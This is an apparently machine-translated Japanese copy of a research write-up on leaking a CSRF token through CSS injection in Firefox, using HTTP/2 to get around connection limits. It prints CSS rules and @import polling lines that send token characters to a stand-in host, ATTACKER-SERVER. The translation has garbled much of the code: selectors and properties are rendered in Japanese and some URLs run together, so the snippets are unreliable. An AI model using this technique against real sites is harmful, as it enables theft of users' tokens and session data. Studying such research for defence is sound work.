Firefox の CSS を使用してデータを盗む

Firefox の CSS を使用してデータを盗む

0x00 はじめに

数か月前、Firefox に脆弱性 (CVE-2019-17016) があることを発見しました。調査中に、Firefox の CSS を使用して単一のインジェクション ポイントからデータを盗むことができるデータ窃盗手法を発見しました。調査結果を皆さんと共有したいと思います。

0x01 背景

デモンストレーションの目的で、 <input>要素から CSRF トークンを盗むとします。

<input type="hidden" name="csrftoken" value="SOME_VALUE">

スクリプトを使用できないため (おそらく CSP が原因)、スタイルベースのインジェクションを探しています。従来のアプローチでは、次のように属性セレクタを使用します。

入力[名前='csrftoken'][値^='a'] {
  背景: url(//ATTACKER-SERVER/leak/a);
}
入力[名前='csrftoken'][値^='b'] {
  背景: url(//ATTACKER-SERVER/leak/b);
}
...
入力[名前='csrftoken'][値^='z'] {
  背景: url(//ATTACKER-SERVER/leak/z);
}

CSS ルールが適用されると、攻撃者は HTTP リクエストを受信して​​トークンの最初の文字を取得できます。次に、攻撃者は、以下に示すように、盗んだ最初の文字を含む別のスタイルシートを準備する必要があります。

入力[名前='csrftoken'][値^='aa'] {
  背景: url(//ATTACKER-SERVER/leak/aa);
}
入力[名前='csrftoken'][値^='ab'] {
  背景: url(//ATTACKER-SERVER/leak/ab);
}
...
入力[名前='csrftoken'][値^='az'] {
  背景: url(//ATTACKER-SERVER/leak/az);
}

通常、攻撃者は、後続のスタイルシートを提供するために、 <iframe>にすでに読み込まれているページを再読み込みする必要があります。

2018 年、Pepe Vila 氏は、Chrome の CSS 再帰インポートを悪用して、単一の注入ポイントで同じタスクを達成するという非常に優れたアイデアを思いつきました。 2019 年、Nathanial Lattimer (@d0nutptr) が、少し工夫を加えて同じ手法を再提案しました。以下では、この記事のアイディアに近い Lattimer の方法を簡単にまとめます (ただし、この調査中に Lattimer の以前の研究を知らなかったため、車輪の再発明だと思われる方もいるかもしれません)。

つまり、最初の注入では一連のimportが使用されます。

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

中心となる考え方は次のとおりです。

1. 最初は、最初の@importのみがスタイルシートを返し、他のステートメントは接続をブロックする状態になります。

2. 最初の@importスタイルシートを返しますが、トークンの最初の文字が漏れてしまいます。

3. 漏洩した最初のトークンがATTACKER-SERVERに到達すると、2 番目のimportブロックを停止し、最初の文字を含むスタイルシートを返して、2 番目の文字を漏洩させようとします。

4. 2 番目に漏洩した文字がATTACKER-SERVERに到達すると、3 番目のimportブロックを停止します。

この手法が機能するのは、Chrome がimport非同期的に処理するためです。そのため、 importがブロックを停止すると、Chrome は直ちにステートメントを解析してルールを適用します。

0x02 Firefoxとスタイルシートの処理

上記の方法は、スタイルシートを Chrome とはまったく異なる方法で処理する Firefox では機能しません。ここでは、いくつかの事例を使ってその違いを説明します。

まず、Firefox はスタイルシートを同期的に処理します。したがって、スタイルシートに複数のimportがある場合、Firefox はすべてのimportが処理された場合にのみ CSS ルールを適用します。次のケースを考えてみましょう。

<スタイル>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</スタイル>

最初の@importページの背景を青に設定する CSS ルールを返し、後続のimportがブロッキング状態 (つまり、何も返されず、HTTP 接続がハングする) であるとします。 Chrome ではページがすぐに青色に変わりますが、Firefox では何も起こりません。

これを修正するには、すべてのimport別々の<style>要素に配置します。

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

上記のコードでは、Firefox はすべてのスタイルシートを個別に処理するため、ページはすぐに青色に変わり、その他のimportバックグラウンドで処理されます。

しかし、ここで別の問題が発生します。10 文字を含むトークンを盗むとします。

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox はすぐに 10 件のimportをキューに追加します。最初のimportを処理した後、Firefox は既知の文字列を含む別のリクエストをキューに追加します。ここでの問題は、リクエストがキューの最後に追加されることです。デフォルトでは、ブラウザには同じサーバーへの同時接続が 6 つまでという制限があります。したがって、サーバーへの接続がすでに 6 つブロックされているため、既知の文字を含むリクエストはターゲット サーバーに到達せず、最終的にデッドロックが発生します。

0x03 HTTP/2

6 つの接続の制限は TCP 層によって決定されるため、単一のサーバーに対して同時に存在できる TCP 接続は 6 つだけです。この場合、HTTP/2 が役に立つと思います。 HTTP/2 には多くの利点があります。たとえば、単一の接続を介して複数の HTTP リクエストを送信できるため (多重化とも呼ばれます)、パフォーマンスが大幅に向上します。

Firefox では、単一の HTTP/2 接続に対する同時リクエストの数も制限されていますが、デフォルトではその制限は100です (具体的な設定については、 about:confignetwork.http.spdy.default-concurrentを参照してください)。より多くの同時実行が必要な場合は、別のホスト名を使用して、Firefox に 2 番目の TCP 接続を強制的に作成させることができます。たとえば、 https://localhost:3000へのリクエストを100https://127.0.0.1:3000へのリクエストを50作成すると、Firefox は 2 つの TCP 接続を作成します。

0x04 搾取

これで準備はすべて整いました。主なエクスプロイトのシナリオは次のとおりです。

1. エクスプロイトコードは HTTP/2 に基づいています。

2. /polling/:session/:indexエンドポイントは CSS を返す可能性があり、 :index文字がリークされます。このリクエストは、前のリクエストがindex-1文字を正常にリークするまでブロックされます。 :sessionパス パラメータは、複数の攻撃動作を区別するために使用されます。

3. /leak/:session/:valueエンドポイントを介してトークン全体を漏洩します。ここで:value最後の文字だけではなく、取得された完全な値です。

4. Firefox に同じサーバーへの 2 つの TCP 接続を強制的に開始させるために、ここではhttps://localhost:3000https://127.0.0.1:3000という 2 つのエンドポイントが使用されます。

5. エンドポイント/generateサンプル コードを生成するために使用されます。

この方法でcsrftoken盗むことを目的としたテスト プラットフォームを作成しました。ここから直接アクセスできます。

さらに、PoC コードも GitHub でホストしており、攻撃プロセスはここにあるビデオで確認できます。

興味深いことに、HTTP/2 を使用しているため、攻撃は非常に高速で、トークン全体を 3 秒以内に取得できます。

0x05 概要

この記事では、ページをリロードせずに CSS 経由でデータを盗むためにインジェクション ポイントを悪用する方法を説明しました。ここで重要な点は 2 つあります。

1. @importルールを複数のスタイルシートに分割して、後続のimportによってブラウザがスタイルシート全体の処理をブロックしないようにします。

2. TCP 同時接続制限を回避するには、HTTP/2 を介して攻撃を開始する必要があります。

以上が、Firefox ブラウザで CSS を使用してデータを盗む方法についてご紹介しました。お役に立てれば幸いです。123WORDPRESS.COM ウェブサイトをご愛顧いただき、誠にありがとうございます。

<<:  DockerはClickHouseをインストールし、データテストを初期化します

>>:  入力テキスト ボックスと画像検証コードの位置合わせの問題 (画像は常に入力より 1 つ上になります)

推薦する

Vue+SpringBoot で Alipay サンドボックス決済を実装するためのサンプルコード

まず、Alipay サンドボックスから一連のものをダウンロードします。多くのブログで取り上げられてお...

動的なセカンダリメニューを実現するためのCSS

シンプルなセカンダリメニューを動的に実装するマウスを第 1 レベルのラベル上に置くと、マウスが小さな...

Nginx+ModSecurity セキュリティモジュールの導入

目次1. ダウンロード2. 展開1.Nginxのデプロイメント2. ModSecurityの展開3....

純粋な CSS3 で蝶が羽ばたく様子を再現する例

純粋なCSS3で蝶が羽ばたく様子を再現。まずはその効果をご覧ください どうですか?効果はかなりいいで...

MySQL ALTERコマンドの知識ポイントのまとめ

テーブル名を変更したり、テーブル フィールドを変更したりする必要がある場合は、 MySQL ALTE...

SVN のインストールと基本操作 (グラフィック チュートリアル)

目次1. SVNとは何か2. SVNサーバーとクライアントの取得方法3. SVN ワークフローとアー...

MySQL 8.0.11 のインストールと設定方法のグラフィックチュートリアル MySQL 8.0 の新しいパスワード認証方法

この記事では、参考までにMySQL8.0.11のインストールと設定方法、およびMySQL8.0の新し...

HTML+CSS3+JSで実装されたドロップダウンメニュー

成果を達成する html <div class="コンテナ"> &l...

div が隠しテキストを超え、div 部分の向こうの CSS コードを隠します

隠れる前に:隠れた後: CS: ...コードをコピーコードは次のとおりです。オーバーフロー:非表示;...

nginx のロードバランシングとリバースプロキシの説明

目次負荷分散負荷分散分類1. DNS 負荷分散2. IP負荷分散3. リンク層の負荷分散4. ハイブ...

IE6 スペースバグ修正方法

コードを見てみましょう:コードをコピーコードは次のとおりです。 < !DOCTYPE html...

MySQL ストレージ エンジン MyISAM と InnoDB の違いの概要

1. MySQLのデフォルトストレージエンジンの変更MySQL 5.1 より前のバージョンでは、デフ...

Ubuntu 19 以下に Android Studio をインストールするチュートリアル

過去の経験から言うと、タスクを完了した後にメモを取るのは良い習慣です。インストール環境はUbuntu...

Vue.js での $emit の使用に関する詳細な説明

1. 親コンポーネントは props を使用して子コンポーネントにデータを渡すことができます。 2....

MySQLをシンプルに学ぶ

序文データベースは常に私の弱点でした。自分の経験 (python+sqlalchemy) を組み合わ...